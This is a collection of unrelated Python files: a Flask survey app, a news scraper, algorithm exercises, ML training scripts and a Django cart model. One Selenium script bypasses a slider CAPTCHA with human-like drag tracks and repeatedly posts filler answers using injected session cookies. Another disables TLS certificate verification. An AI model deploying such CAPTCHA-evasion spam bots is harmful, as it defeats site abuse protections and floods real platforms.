from datetime import datetime

from app import app, db
from app.database import commit_eou_record, db_commit, delete_customized_tag, \
  get_all_customized_tag, get_email_and_itv, \
  get_eou_record, get_scn_ids_by_uuid, \
  get_rtn_ids_by_uuid, record_consented, record_finish_time, record_tag_reason, \
  update_customized_tag, \
  update_email_itv, update_itv, \
  record_multi_scn_stt_scores_w_reason
from app.models import FinishForm, ReasoningForm, Users, RoutineTag, UUIDForm
from app.system import get_user_scn_outcome
from app.utils import *

from flask import render_template, request, redirect, jsonify, flash, session, url_for

@app.before_request
def before_request_func():
  pass

@app.route('/', methods=['GET', 'POST'])
def index():
  uuid = None
  form = UUIDForm()
  if form.validate_on_submit():
    # TODO(@ry): check to database and record to database
    uuid = form.uuid.data
    user = Users.query.get(uuid)
    if user is None:
      scn_ids, rtn_ids = get_random_scn_rtn_ids()
      user = Users(uuid=uuid,
                   scn_ids=','.join([str(v) for v in scn_ids]),
                   rtn_ids=','.join([str(v) for v in rtn_ids]))
      db.session.add(user)
    elif not user.scn_ids:
      scn_ids, rtn_ids = get_random_scn_rtn_ids()
      user.scn_ids = ','.join([str(v) for v in scn_ids])
      user.rtn_ids = ','.join([str(v) for v in rtn_ids])
    # Update survey start time
    user.date_added = datetime.utcnow()
    db.session.commit()
    flash("Welcome!")
    session['uuid'] = uuid
    form.uuid.data = ''
    return render_template('consent_form.html', uuid=uuid, consented=None)
  return render_template('id_validation.html', uuid=uuid, form=form)

@app.route('/consented', methods=['GET', 'POST'])
def consented():
  consent = request.form.get('consent')
  record_consented(session['uuid'], (consent == 'y'))
  if consent == 'y':
    return render_template('background.html')
  else:
    return render_template('finish.html', finished=False)

@app.route('/tag/<int:idx>', methods=['GET', 'POST'])
def tag(idx):
  # Get all long routines for the specific user.
  rtn_ids = get_rtn_ids_by_uuid(session['uuid'])
  rtn_ids, rtn_info = get_all_rtn_info(rtn_ids)
  total_rtn = len(rtn_ids)
  if idx < 1 or idx > total_rtn:
    return redirect(url_for('tag', idx=1))

  rid = rtn_ids[idx - 1]
  reason_form = ReasoningForm()
  print("Current idx: " + str(idx) + " Total rtn: ", total_rtn)
  if request.method == 'POST' and 'tag-page-action' in request.form:
    reason = reason_form.reason.data
    record_tag_reason(session['uuid'], rid, reason)

    action = request.form['tag-page-action']
    if action == 'Previous':
      return redirect(url_for('tag', idx=idx-1))
    elif action == 'Next':
      return redirect(url_for('tag', idx=idx+1))
    elif action == 'Finish':
      return redirect(url_for('scenario', idx=0))

  # Start to show the page.
  rtn_tags = RoutineTag.query.get((session['uuid'], rid))
  if rtn_tags is None:
    rtn_tags = RoutineTag(uuid=session['uuid'], rtn_id=rid)
    db.session().add(rtn_tags)
    db.session().commit()

  all_cus_tag_list = get_all_customized_tag(session['uuid'])
  rtn_cus_tags = rtn_tags.rtn_cus_tags.split(',') if rtn_tags.rtn_cus_tags else []
  rtn_sys_tag = tag_display_name(rtn_tags.rtn_sys_tag)
  cmd1_tag = tag_display_name(rtn_tags.cmd1_tag)
  cmd2_tag = tag_display_name(rtn_tags.cmd2_tag)
  reason_form.reason.data = rtn_tags.tag_reason
  return render_template('tagging.html',
                         rtn_info=rtn_info[rid],
                         idx=idx,
                         rid=rid,
                         rtn_sys_tag=rtn_sys_tag,
                         all_cus_tag=all_cus_tag_list,
                         rtn_cus_tags=rtn_cus_tags,
                         cmd1_tag=cmd1_tag,
                         cmd2_tag=cmd2_tag,
                         total_rtn=total_rtn,
                         reason_form=reason_form)

@app.route('/create-tag', methods=['GET', 'POST'])
def create_cus_tag():
  data = request.get_json()
  tag_name, priority = data['tag_name'], data['priority']
  status = update_customized_tag(session['uuid'], tag_name, priority)
  if status == 'empty name':
    flash('Tag name cannot be empty.')
  result = {'success': True, 'response': 'Done'}
  return jsonify(result)

@app.route('/edit-tag', methods=['GET', 'POST'])
def edit_cus_tag():
  data = request.get_json()
  tag_name, priority = data['tag_name'], data['priority']
  update_customized_tag(session['uuid'], tag_name, priority)
  result = {'success': True, 'response': 'Done'}
  return jsonify(result)

@app.route('/delete-tag', methods=['GET', 'POST'])
def delete_cus_tag():
  data = request.get_json()
  tag_name = data['tag_name']
  delete_customized_tag(session['uuid'], tag_name)
  result = {'success': True, 'response': 'Done'}
  return jsonify(result)

@app.route('/update-sys-tag', methods=['GET', 'POST'])
def update_sys_tag():
  data = request.get_json()
  item, rid = data['item'], data['rid']
  item = internal_sys_name(item)
  rtn_tags = RoutineTag.query.get((session['uuid'], rid))
  if item in ['Uninterruptible', 'Pausable']:
    rtn_tags.rtn_sys_tag = item
    rtn_tags.cmd1_tag = item
    rtn_tags.cmd2_tag = item
  else:
    if rtn_tags.rtn_cus_tags:
      if item not in rtn_tags.rtn_cus_tags.split(','):
        rtn_tags.rtn_cus_tags += ',' + item
    else:
      rtn_tags.rtn_cus_tags = item

  db_commit()
  result = {'success': True, 'response': 'Done'}
  return jsonify(result)

@app.route('/update-cmd1-tag', methods=['GET', 'POST'])
def update_cmd1_tag():
  data = request.get_json()
  item, rid = data['item'], data['rid']
  item = internal_sys_name(item)
  rtn_tags = RoutineTag.query.get((session['uuid'], rid))
  if item in ['Uninterruptible', 'Pausable']:
    rtn_tags.cmd1_tag = item
    # Update routine level system tag accordingly.
    if rtn_tags.cmd1_tag == rtn_tags.cmd2_tag:
      rtn_tags.rtn_sys_tag = rtn_tags.cmd1_tag
    else:
      rtn_tags.rtn_sys_tag = ''
  else:
    flash("Self-defined tag can only be assigned to routines, not commands.")
  db_commit(success_msg="Update CMD1 system tag successfully",
            fail_msg="[ERROR] CMD1 sys tag update failed")
  result = {'success': True, 'response': 'Done'}
  return jsonify(result)

@app.route('/update-cmd2-tag', methods=['GET', 'POST'])
def update_cmd2_tag():
  data = request.get_json()
  item, rid = data['item'], data['rid']
  item = internal_sys_name(item)
  rtn_tags = RoutineTag.query.get((session['uuid'], rid))
  if item in ['Uninterruptible', 'Pausable']:
    rtn_tags.cmd2_tag = item
    if rtn_tags.cmd1_tag == rtn_tags.cmd2_tag:
      rtn_tags.rtn_sys_tag = rtn_tags.cmd2_tag
    else:
      rtn_tags.rtn_sys_tag = ''
  else:
    flash("Customized tag can only be put for routine!")

  db_commit(success_msg="Update CMD2 system tag successfully",
            fail_msg="[ERROR] CMD2 sys tag update failed")
  result = {'success': True, 'response': 'Done'}
  return jsonify(result)

@app.route('/remove-rtn-sys-tag/<int:rid>/<int:idx>', methods=['GET', 'POST'])
def remove_rtn_sys_tag(rid, idx):
  rtn_tags = RoutineTag.query.get((session['uuid'], rid))
  rtn_tags.rtn_sys_tag = ''
  rtn_tags.cmd1_tag = ''
  rtn_tags.cmd2_tag = ''
  db_commit(success_msg="RTN {0} system tag removed".format(rid),
            fail_msg="[ERROR] RTN sys tag remove failed")
  return redirect(url_for('tag', idx=idx))

@app.route('/remove-cus-tag/<int:rid>/<int:idx>/<string:tag_name>',
           methods=['GET', 'POST'])
def remove_cus_tag(rid, idx, tag_name):
  rtn_tags = RoutineTag.query.get((session['uuid'], rid))
  rtn_tags.rtn_cus_tags = remove_cus_tag_in_string(
    rtn_tags.rtn_cus_tags, tag_name)
  db_commit(success_msg="RTN {0} cus tag {1} removed".format(rid, tag),
            fail_msg="[ERROR] RTN customized tag remove failed")
  return redirect(url_for('tag', idx=idx))

@app.route('/remove-cmd1-tag/<int:rid>/<int:idx>', methods=['GET', 'POST'])
def remove_cmd1_tag(rid, idx):
  rtn_tags = RoutineTag.query.get((session['uuid'], rid))
  rtn_tags.cmd1_tag = ''
  rtn_tags.rtn_sys_tag = ''
  db_commit(success_msg="RTN {0} (rid {1}) CMD1 tag removed".format(idx, rid),
            fail_msg="[ERROR] RTN {0} CMD1 tag remove failed".format(rid))
  return redirect(url_for('tag', idx=idx))

@app.route('/remove-cmd2-tag/<int:rid>/<int:idx>', methods=['GET', 'POST'])
def remove_cmd2_tag(rid, idx):
  rtn_tags = RoutineTag.query.get((session['uuid'], rid))
  rtn_tags.cmd2_tag = ''
  rtn_tags.rtn_sys_tag = ''
  db_commit(success_msg="RTN {0} (rid {1}) CMD2 tag removed".format(idx, rid),
            fail_msg="[ERROR] RTN {0} CMD2 tag remove failed".format(rid))
  return redirect(url_for('tag', idx=idx))

@app.route('/scenario/<int:idx>', methods=['GET', 'POST'])
def scenario(idx):
  scn_ids = get_scn_ids_by_uuid(session['uuid'])
  total_scn = len(scn_ids)
  if idx < 1 or idx > total_scn:
    return redirect(url_for('scenario', idx=1))

  # Read user record if they've filled for this scenario
  # no matter whether it has been pushed to database.
  sid = scn_ids[idx - 1]
  scn_info = get_scenario_by_id(sid)
  outcomes, scores, strategies = get_user_scn_outcome(
    session['uuid'], sid, scn_info)

  fst_oc_form = FstOutcomeForm()
  snd_oc_form = SndOutcomeForm() if len(scores) > 1 else None
  reason_form = ReasoningForm()
  if request.method == 'POST' and 'scn-page-action' in request.form:
    # Record user choice
    scores = [fst_oc_form.oc1.data]
    if snd_oc_form:
      scores.append(snd_oc_form.oc2.data)
    reason = reason_form.reason.data
    record_multi_scn_stt_scores_w_reason(
      session['uuid'], sid, strategies, scores, reason)

    # Navigate among scenarios
    action = request.form['scn-page-action']
    if action == 'Previous':
      return redirect(url_for('scenario', idx=idx-1))
    elif action == 'Next':
      return redirect(url_for('scenario', idx=idx+1))
    elif action == 'Finish':
      return redirect(url_for('ease_of_use'))

  fst_oc_form, snd_oc_form = get_outcome_forms(scores)
  print("Scenario internal id:", scn_info['scn_id'],
        "strategies: ", strategies)
  return render_template('scenario.html',
                         idx=idx,
                         sid=sid,
                         scn_description=scn_info['scn_description'],
                         outcome=outcomes,
                         total_scn=total_scn,
                         fst_oc_form=fst_oc_form,
                         snd_oc_form=snd_oc_form,
                         reason_form=reason_form)

@app.route('/ease-of-use', methods=['GET', 'POST'])
def ease_of_use():
  descriptions = [
    'I think that I would like to use this system frequently.',
    'I found the system unnecessarily complex.',
    'I thought the system was easy to use.',
    'I think that I would need the support of a technical person to be able to use this system.',
    'I found the various functions in this system were well integrated.',
    'I thought there was too much inconsistency in this system.',
    'I would imagine that most people would learn to use this system very quickly.',
    'I found the system very cumbersome to use.',
    'I felt very confident using the system.'
  ]
  num_q = len(descriptions)
  form = EaseOfUseForm()

  if form.validate_on_submit():
    # Fetch ease-of-use responses
    responses = {}
    for i in range(num_q):
      exec('responses[{0}] = form.q{0}.data'.format(i))
    # commit to database
    responses['open'] = form.open_ended.data
    responses['tag'] = form.tag_potential.data
    commit_eou_record(session['uuid'], responses)
    return redirect(url_for('finish', status=1))

  eou_scores = get_eou_record(session['uuid'])
  form = get_eou_form(eou_scores)
  return render_template('easy_of_use.html',
                         form=form,
                         eou_scores=eou_scores,
                         descriptions=descriptions)

@app.route('/finish/<int:status>', methods=['GET', 'POST'])
def finish(status):
  form = FinishForm()
  email, itv = get_email_and_itv(session['uuid']) if status >= 1 else [None, None]
  if status == 3:
    record_finish_time(session['uuid'])

  if form.validate_on_submit():
    e_confirm = form.email_confirm.data if email is not None else 0
    # Deal with last step refresh
    if e_confirm is None:
      e_confirm = 1 if email is not None else 0
    itv_interest = int(form.interview.data)
    if int(e_confirm):
      update_itv(session['uuid'], itv_interest)
      form.interview.data = None
      return redirect(url_for('finish', status=3))
    if not int(e_confirm) and form.email.data:
      email = form.email.data
      update_email_itv(session['uuid'], email, itv_interest)
      form.email.data = None
      form.interview.data = None
      return redirect(url_for('finish', status=3))
    if not int(e_confirm) and not form.email.data:
      flash('Please input your email address.')
      return redirect(url_for('finish', status=2))
  return render_template('finish.html', finished=status,
                         email=email, form=form)


import urllib.request, urllib.parse, urllib.error
from bs4 import BeautifulSoup
import xlwt
from xlwt import Workbook
import ssl

ctx = ssl.create_default_context()
ctx.check_hostname = None
ctx.verify_mode = ssl.CERT_NONE

url = 'https://news.ycombinator.com/'

fhand = urllib.request.urlopen(url, context=ctx).read()
raw_html = BeautifulSoup(fhand, 'html.parser')

items = raw_html.findAll("tr", {"class" : "athing"});
subtext = raw_html.findAll("td", {"class" : "subtext"})

workbook = xlwt.Workbook()
sheet = workbook.add_sheet("News Sheet")

sheet.write(0, 0, 'HEADING')
sheet.write(0, 1, 'SCORE')
sheet.write(0, 2, 'TIME')
sheet.write(0, 3, 'AUTHOR')
sheet.write(0, 4, 'LINK')

for i in range(len(items)):
    heading_container = items[i].find("a", {"class" : "storylink"})
    _heading = heading_container.text
    _heading_link = heading_container.get("href")

    _heading_author = subtext[i].a.text
    score_container = subtext[i].find("span", {"class" : "score"})
    _heading_score = score_container.text
    age_container = subtext[i].find("span", {"class" : "age"})
    _heading_age = age_container.a.text

    print(_heading)
    print(_heading_score)
    print(_heading_age)
    print(_heading_author)
    print(_heading_link + "\n")

    sheet.write(i+1, 0, _heading)
    sheet.write(i+1, 1, _heading_score)
    sheet.write(i+1, 2, _heading_age)
    sheet.write(i+1, 3, _heading_author)
    sheet.write(i+1, 4, _heading_link)

workbook.save('News.xls')


import collections
from typing import Optional

class TreeNode:
    def __init__(self, val=0, left=None, right=None):
        self.val = val
        self.left = left
        self.right = right

class Codec:

    @staticmethod
    def serialize(root: TreeNode) -> str:
        res = []

        def dfs(node: Optional[TreeNode]):
            if node is None:
                res.append(str(node))
                return
            res.append(str(node.val))
            dfs(node.left)
            dfs(node.right)

        dfs(root)

        return ','.join(res)

    @staticmethod
    def deserialize(data: str) -> Optional[TreeNode]:
        q = collections.deque(data.split(','))
        root_val = q.popleft()
        if root_val == 'None':
            return None
        root = TreeNode(int(root_val))

        def dfs(node: TreeNode):
            val = q.popleft()
            if val == 'None':
                node.left = None
                val = q.popleft()
                if val == 'None':
                    node.right = None
                    return
                else:
                    node.right = TreeNode(int(val))
                    dfs(node.right)
                return
            else:
                node.left = TreeNode(int(val))
                dfs(node.left)
            val = q.popleft()
            if val == 'None':
                node.right = None
            else:
                node.right = TreeNode(int(val))
                dfs(node.right)

        dfs(root)
        return root

def main():
    tree = TreeNode(1, TreeNode(2, TreeNode(4, TreeNode(9, None, TreeNode(7)))), TreeNode(3))
    serialized = Codec.serialize(tree)
    print(Codec.serialize(tree))
    print(Codec.serialize(Codec.deserialize(serialized)))

if __name__ == "__main__":
    main()


'''
题目：请从字符串中找出一个最长的不包含重复字符的子字符串，计算该最长子字符串的长度。假设字符串中只包含‘a’~‘z’的字符。例如，在字符串”arabcacfr“中，
最长的不含重复字符的子字符串是“acfr”，长度为4。
'''

class Solution:
    def longest_substring_without_duplication(self, str):
        if not str:
            return
        string = list(str)
        current_length = 0
        max_length = 0
        position = [0] * 26
        for i in range(len(string)):
            prev_index = position[ord(string[i]) - ord('a')]
            if prev_index < 0 or i - prev_index > current_length:
                current_length += 1
            else:
                if current_length > max_length:
                    max_length = current_length
                current_length = i - prev_index
            position[ord(string[i]) - ord('a')] = i
        if current_length > max_length:
            max_length = current_length
        return max_length

print(Solution().longest_substring_without_duplication('arabcacfr'))

剑指Offer/48-最长不含重复字符的子字符串.py

48-最长不含重复字符的子字符串.py


from selenium import webdriver
from selenium.common.exceptions import NoSuchElementException
from selenium.webdriver import ActionChains
from selenium.webdriver.common.by import By
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.support.wait import WebDriverWait
from PIL import Image
import time
import configparser
from src.functions import format_usercookie

def isElementPresent(driver,by,value):
    try:
        # element = driver.find_element_by_class_name('write-content-submit')
        if by == 'id':
            element = driver.find_element_by_id(value)
        elif by == 'class_name':
            element = driver.find_element_by_class_name(value)
    except NoSuchElementException as e:
        return False
    else:
        return True

def get_snap():
    '''
    对整个网页截图，保存成图片，然后用PIL.Image拿到图片对象
    :return: 图片对象
    '''
    driver.save_screenshot('snap.png')
    page_snap_obj = Image.open('snap.png')
    return page_snap_obj

def get_image():
    '''
    从网页的网站截图中，截取验证码图片
    :return: 验证码图片
    '''
    img = wait.until(EC.presence_of_element_located((By.ID, 'validate-big')))
    time.sleep(2)  # 保证图片刷新出来
    localtion = img.location

    print(localtion)

    size = img.size

    top = localtion['y']
    bottom = localtion['y'] + size['height']
    left = localtion['x']
    right = localtion['x'] + size['width']

    page_snap_obj = get_snap()
    crop_imag_obj = page_snap_obj.crop((left, top, right, bottom))
    return crop_imag_obj

def get_distance(image1, image2):
    '''
    拿到滑动验证码需要移动的距离
    :param image1:没有缺口的图片对象
    :param image2:带缺口的图片对象
    :return:需要移动的距离
    '''
    threshold = 60
    left = 55
    for i in range(left, image1.size[0]):
        for j in range(image1.size[1]):
            rgb1 = image1.load()[i, j]
            rgb2 = image2.load()[i, j]
            res1 = abs(rgb1[0] - rgb2[0])
            res2 = abs(rgb1[1] - rgb2[1])
            res3 = abs(rgb1[2] - rgb2[2])
            if not (res1 < threshold and res2 < threshold and res3 < threshold):
                return i - 7  # 经过测试，误差为大概为7
    return i - 7  # 经过测试，误差为大概为7

# 对验证码所在位置定位，然后截取验证码图片
def get_validate_img(driver):

    img = driver.find_element_by_class_id('validate_big')
    time.sleep(2)
    location = img.location
    size = img.size
    left = location['x']
    top = location['y']
    right = left + size['width']
    bottom = top + size['height']
    page_snap_obj = get_snap(driver)
    image_obj = page_snap_obj.crop((left, top, right, bottom))  # image_obj.show() return image_obj # 得到的就是验证码

def get_tracks(distance):
    '''
    拿到移动轨迹，模仿人的滑动行为，先匀加速后匀减速
    匀变速运动基本公式：
    ①v=v0+at
    ②s=v0t+½at²
    ③v²-v0²=2as
    :param distance: 需要移动的距离
    :return: 存放每0.3秒移动的距离
    '''
    # 初速度
    v = 0
    # 单位时间为0.2s来统计轨迹，轨迹即0.2内的位移
    t = 0.3
    # 位移/轨迹列表，列表内的一个元素代表0.2s的位移
    tracks = []
    # 当前的位移
    current = 0
    # 到达mid值开始减速
    mid = distance * 4 / 5

    while current < distance:
        if current < mid:
            # 加速度越小，单位时间的位移越小,模拟的轨迹就越多越详细
            a = 2
        else:
            a = -3

        # 初速度
        v0 = v
        # 0.2秒时间内的位移
        s = v0 * t + 0.5 * a * (t ** 2)
        # 当前的位置
        current += s
        # 添加到轨迹列表
        tracks.append(round(s))

        # 速度已经达到v,该速度作为下次的初速度
        v = v0 + a * t
    return tracks

try:
    driver = webdriver.Chrome()
    driver.maximize_window()
    driver.get('https://www.wukong.com/question/6702952877280723212/?extra_tag=answer_get_bonus')

    cp = configparser.RawConfigParser()
    cp.read('program.ini')
    usercookie = cp.get('program_cfg','usercookie')

    userinfo = format_usercookie(usercookie)

    for key,val in userinfo.items():
        driver.add_cookie({'name':str(key),'value':str(val)})

    driver.implicitly_wait(3)

    driver.refresh()

    wait = WebDriverWait(driver, 10)

    while True:

        driver.find_element_by_id('write-ueditor-inline').send_keys('111111111111')

        # 步骤一：先点击按钮，弹出没有缺口的图片
        button = wait.until(EC.presence_of_element_located((By.CLASS_NAME, 'write-content-submit')))
        button.click()

        if isElementPresent(driver, 'id', 'validate-big') is True:

            # 步骤二：拿到没有缺口的图片
            image1 = get_image()

            # 步骤三：点击拖动按钮，弹出有缺口的图片
            button = wait.until(EC.presence_of_element_located((By.CLASS_NAME, 'drag-button')))
            button.click()

            # 步骤四：拿到有缺口的图片
            image2 = get_image()

            # print(image1,image1.size)
            # print(image2,image2.size)

            # 步骤五：对比两张图片的所有RBG像素点，得到不一样像素点的x值，即要移动的距离
            distance = get_distance(image1, image2)

            # 步骤六：模拟人的行为习惯（先匀加速拖动后匀减速拖动），把需要拖动的总距离分成一段一段小的轨迹
            tracks = get_tracks(200)
            print(tracks)
            print(image1.size)
            print(distance, sum(tracks))

            # 步骤七：按照轨迹拖动，完全验证
            button = wait.until(EC.presence_of_element_located((By.CLASS_NAME, 'drag-button')))
            ActionChains(driver).click_and_hold(button).perform()
            for track in tracks:
                ActionChains(driver).move_by_offset(xoffset=track, yoffset=0).perform()
            else:
                ActionChains(driver).move_by_offset(xoffset=3, yoffset=0).perform()  # 先移过一点
                ActionChains(driver).move_by_offset(xoffset=-3, yoffset=0).perform()  # 再退回来，是不是更像人了

            time.sleep(0.5)  # 0.5秒后释放鼠标
            ActionChains(driver).release().perform()
        else:
            break

    time.sleep(200)
finally:
    driver.close()


from sympy import symbols, solve
str = "12 = 8 + x/2"
str = str.split("=")
x = symbols('x')
if (str[0].find("x")) >= 0 :
   str = str[0] + "-" + str[1]
else:
   str = str[1] + "-" + str[0]
str = solve(str)
print(type(str))
print(str)


import subprocess
import os

'''
eg:
	root = /media/commaai-03/Data/tmp/
	dst = /media/commaai-03/Data/test/
	***Remember add '/' at end or you will get the error 'No such file or directory.'***
	-root is the path where your tars files saved.
	-dst is the path where you untar files save.
'''
root= '/media/commaai-03/Data/ori_data_sec/'
dst = '/media/commaai-03/Data/data_sec/'

for a, b, c in os.walk(top=root):
	for i in range(len(c)):
		dstPath = dst + c[i].split('.')[0]
		if not os.path.exists(dstPath):
			os.makedirs(dstPath)
		cmd = 'tar -xf %s --strip-components 3 -C %s' %(a+c[i], dstPath)
		subprocess.call(cmd, shell=True)
		#shell need true, nor you will get the error.
		print('-%s is untaring.' %(a+c[i]))
	print('>>> Finish!!!')


import tensorflow as tf
from tensorflow.contrib import rnn
from function import *
from inference import *
from load_data import *
from rnn import *
import numpy as np
import random

def train(sess,loss_op,train_op,X,Y,train_X,train_Y,val_X,val_Y,prediction, last_state,fout_log):
    val_best_loss=10; val_best_step=0;
    alpha=0.9
    count=0
    train_size=len(train_X)
    val_size=len(val_X)
    saver = tf.train.Saver()
    fetches = {'final_state': last_state,
              'prediction_lonlat': prediction}
    for epoch in range(1):
        for step in range(train_size):
            stepp=int(epoch)*(train_size)+step
            print("train step "+str(stepp))
            train=sess.run(train_op, feed_dict={X:train_X[step], Y: train_Y[step]})
            # Calculate batch loss in validation set
            if stepp%5 == 0:
                val_sum=0
             #   for j in range(val_size):
                j=random.randint(0,val_size-1)
                lossv= 10000 * sess.run(loss_op,  feed_dict={X:val_X[j], Y:val_Y[j]})
                val_sum=lossv
                loss = val_sum
                #Calculated running average of val_loss
                if stepp == 5:  # loss start from very large val at step=0, so start from 10th step
                    val_loss = loss
                elif stepp >5:
                    val_loss = alpha * val_loss + (1-alpha) * loss
                    #write up
                    fout_log.write("Step " + str(step) + ", Validation running average= " + \
                          "{:.4f}".format(val_loss ** 0.5) + ",Validation Loss= "+\
                          "{:.4f}".format(loss**0.5) + "\n")
                    print(" Step " + str(step) + ", Validation running average= " + \
                          "{:.4f}".format(val_loss ** 0.5) + ",Validatiion Loss= "+\
                          "{:.4f}".format(loss**0.5) + "\n")
                    if stepp > 10 and val_loss < val_best_loss:
                        val_best_loss = val_loss
                        save_path = saver.save(sess, "./model.ckpt")
                        print('found new best validation loss:', val_loss)
                        print("Model saved in path: %s" % save_path)
                        count = 0
                    if (epoch > 5) and (val_loss > val_best_loss):
                        count =  count + 1
                        if (count > 10):
                            print("Iteration "+str(it)+"Training DONE!  \n")
                            break


from django.contrib.sessions import exceptions
from django.core.validators import MinValueValidator
from django.db import models
from django.contrib.auth import get_user_model
from . import Product, Order, OrderLine
import logging
logger = logging.getLogger(__name__)

class Cart(models.Model):
    OPEN = 10
    SUBMITTED = 20
    STATUSES = ((OPEN, "Open"), (SUBMITTED, "Submitted"))
    user = models.ForeignKey(
        get_user_model(), on_delete=models.CASCADE, blank=True, null=True
    )
    status = models.IntegerField(choices=STATUSES, default=OPEN)

    def is_empty(self):
        return self.cartline_set.all().count() == 0

    def count(self):
        return sum(i.quantity for i in self.cartline_set.all())

    def get_total(self):
        # total = 0
        # for i in self.cartline_set.all():
        #     total +=i.get_total_price()
        # return total
        return sum(i.get_total_price() for i in self.cartline_set.all())

    def create_order(self, billing_address, shipping_address):
        if not self.user:
            raise exceptions.Cart.DoesNotExist(
                "Cannot create order without user"
            )

        logger.info(
            "Creating order for basket_id=%d"
            ", shipping_address_id=%d, billing_address_id=%d",
            self.id,
            shipping_address.id,
            billing_address.id,
        )

        order_data = {
            "user": self.user,
            "billing_name": billing_address.name,
            "billing_address1": billing_address.address1,
            "billing_address2": billing_address.address2,
            "billing_zip_code": billing_address.zip_code,
            "billing_city": billing_address.city,
            "billing_country": billing_address.country,
            "shipping_name": shipping_address.name,
            "shipping_address1": shipping_address.address1,
            "shipping_address2": shipping_address.address2,
            "shipping_zip_code": shipping_address.zip_code,
            "shipping_city": shipping_address.city,
            "shipping_country": shipping_address.country,
        }
        order = Order.objects.create(**order_data)
        c = 0
        for line in self.cartline_set.all():
            for item in range(line.quantity):
                order_line_data = {
                    "order": order,
                    "product": line.product,
                }
                order_line = OrderLine.objects.create(
                    **order_line_data
                )
                c += 1

        logger.info(
            "Created order with id=%d and lines_count=%d",
            order.id,
            c,
        )

        self.status = Cart.SUBMITTED
        self.save()
        return order

class CartLine(models.Model):
    cart = models.ForeignKey(Cart, on_delete=models.CASCADE)
    product = models.ForeignKey(Product, on_delete=models.CASCADE)
    quantity = models.PositiveIntegerField(default=1, validators=[MinValueValidator(1)])

    def get_total_price(self):
        return self.quantity * self.product.price


# for https://leetcode.com/problems/count-and-say/

# This is basically the same solution as for stonks2.py
# I didn't directly copy/paste the code since this is about strings not ints
# But I basically could have
# I probably could use fewer pointers but otherwise this seems reasonable?
# Much as leetcode optimization isn't a thing I care about it was faster
# than most of them

class Solution:
    def countAndSay(self, n: int) -> str:
        result = ['1']
        for counted_and_said in range(1, n):
            temp_result = []
            last_char = ''
            freq = 0
            for character in result:
                if character == last_char or last_char == '':
                    freq += 1
                    last_char = character
                else:
                    temp_result.extend([str(freq), last_char])
                    freq = 1
                    last_char = character
            # collect last block
            temp_result.extend([str(freq), last_char])
            result = temp_result
        return ''.join(result)


# -*- coding: utf-8 -*-
"""
Created on Thu Apr 20 19:39:11 2017

@author: Kara

This code is used for K-nearest Neighbors
"""

import numpy as np
#import matplotlib.pyplot as plt
from sklearn import neighbors, datasets

# Import Iris flower dataset from scikit-learn.
# This dataset has 150 data points for 3 types of Iris flowers.
iris = datasets.load_iris()
iris_X = iris.data
iris_y = iris.target
# This is used to cluster number of classes in target
print('Number of classes: %d' %len(np.unique(iris_y)))
print('Number of data points: %d' %len(iris_y))

# Print some examples of each class
X0 = iris_X[iris_y == 0,:]
print('\nSamples from class 0:\n', X0[:5,:])

X1 = iris_X[iris_y == 1,:]
print('\nSamples from class 1:\n', X1[:5,:])

X2 = iris_X[iris_y == 2,:]
print('\nSamples from class 2:\n', X2[:5,:])

# Split the dataset into two parts: one for training, the other for testing
from sklearn.cross_validation import train_test_split
#from sklearn.model_selection import train_test_split
X_train, X_test, y_train, y_test = train_test_split(iris_X, iris_y, test_size=50)

print("Training size: %d" %len(y_train))
print("Test size    : %d" %len(y_test))

# Learn more about K-nearest Neighbor for suppervised learning at
# http://scikit-learn.org/stable/modules/classes.html#module-sklearn.neighbors
# http://scikit-learn.org/stable/modules/generated/sklearn.neighbors.KNeighborsClassifier.html#sklearn.neighbors.KNeighborsClassifier
# Try with number of neighbors is 1
clf = neighbors.KNeighborsClassifier(n_neighbors = 1, p = 2)
clf.fit(X_train, y_train)
y_pred = clf.predict(X_test)

print("Print results for 20 random test data points in case of learning from 1 neighbors:")
print("Predicted labels: ", y_pred[20:40])
print("Ground truth    : ", y_test[20:40])

# This code is used to evaluate the performance
# http://scikit-learn.org/stable/modules/generated/sklearn.metrics.accuracy_score.html
from sklearn.metrics import accuracy_score
print("Accuracy of 1NN: %.2f %%" %(100*accuracy_score(y_test, y_pred)))

# Try again with number of neighbors is 10
clf = neighbors.KNeighborsClassifier(n_neighbors = 10, p = 2)
clf.fit(X_train, y_train)
y_pred = clf.predict(X_test)

print("Print results for 20 random test data points in case of learning from 10 neighbors:")
print("Predicted labels: ", y_pred[20:40])
print("Ground truth    : ", y_test[20:40])

print("Accuracy of 10NN with major voting: %.2f %%" %(100*accuracy_score(y_test, y_pred)))

# Try again with number of neighbors is 10.
# However, in this time, try to have different weight for each neighbor.
# Closer neighbors of a query point will have a greater influence than neighbors which are further away.
clf = neighbors.KNeighborsClassifier(n_neighbors = 10, p = 2, weights = 'distance')
clf.fit(X_train, y_train)
y_pred = clf.predict(X_test)

print("Accuracy of 10NN (1/distance weights): %.2f %%" %(100*accuracy_score(y_test, y_pred)))

# Another way to have a weight corresponding to each neighbor is as follows:
def myweight(distances):
    sigma2 = .5 # we can change this number
    return np.exp(-distances**2/sigma2)

clf = neighbors.KNeighborsClassifier(n_neighbors = 10, p = 2, weights = myweight)
clf.fit(X_train, y_train)
y_pred = clf.predict(X_test)

print("Accuracy of 10NN (customized weights): %.2f %%" %(100*accuracy_score(y_test, y_pred)))


import numpy as np
import random
import pandas as pd
import os
from sklearn.model_selection import train_test_split
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn import preprocessing
from sklearn.metrics import f1_score
from sklearn.utils.class_weight import compute_class_weight

import torch
import torch.nn as nn
import torch.optim as optim
import torch.nn.functional as F
from torch.utils.data import Dataset, DataLoader

from tqdm.auto import tqdm
from transformers import *
from torch.utils.data import Dataset, TensorDataset, DataLoader, RandomSampler, SequentialSampler

import time
from datetime import datetime

device = torch.device("cuda") if torch.cuda.is_available() else torch.device("cpu")

# naive train/test split
df = pd.read_csv("train.csv")
test = pd.read_csv("test.csv")

train, val, _, _ = train_test_split(df, df["label"], test_size=0.2)

# simple data preprocessing
train_sentences = train["문장"].values
train_Y1 = train["유형"].values
train_Y2 = train["극성"].values
train_Y3 = train["시제"].values
train_Y4 = train["확실성"].values

val_sentences = val["문장"].values
val_Y1 = val["유형"].values
val_Y2 = val["극성"].values
val_Y3 = val["시제"].values
val_Y4 = val["확실성"].values

Y1_dict = {"대화형": 0, "사실형": 1, "예측형": 2, "추론형": 3}
Y2_dict = {"긍정": 0, "미정": 1, "부정": 2}
Y3_dict = {"과거": 0, "미래": 1, "현재": 2}
Y4_dict = {"불확실": 0, "확실": 1}

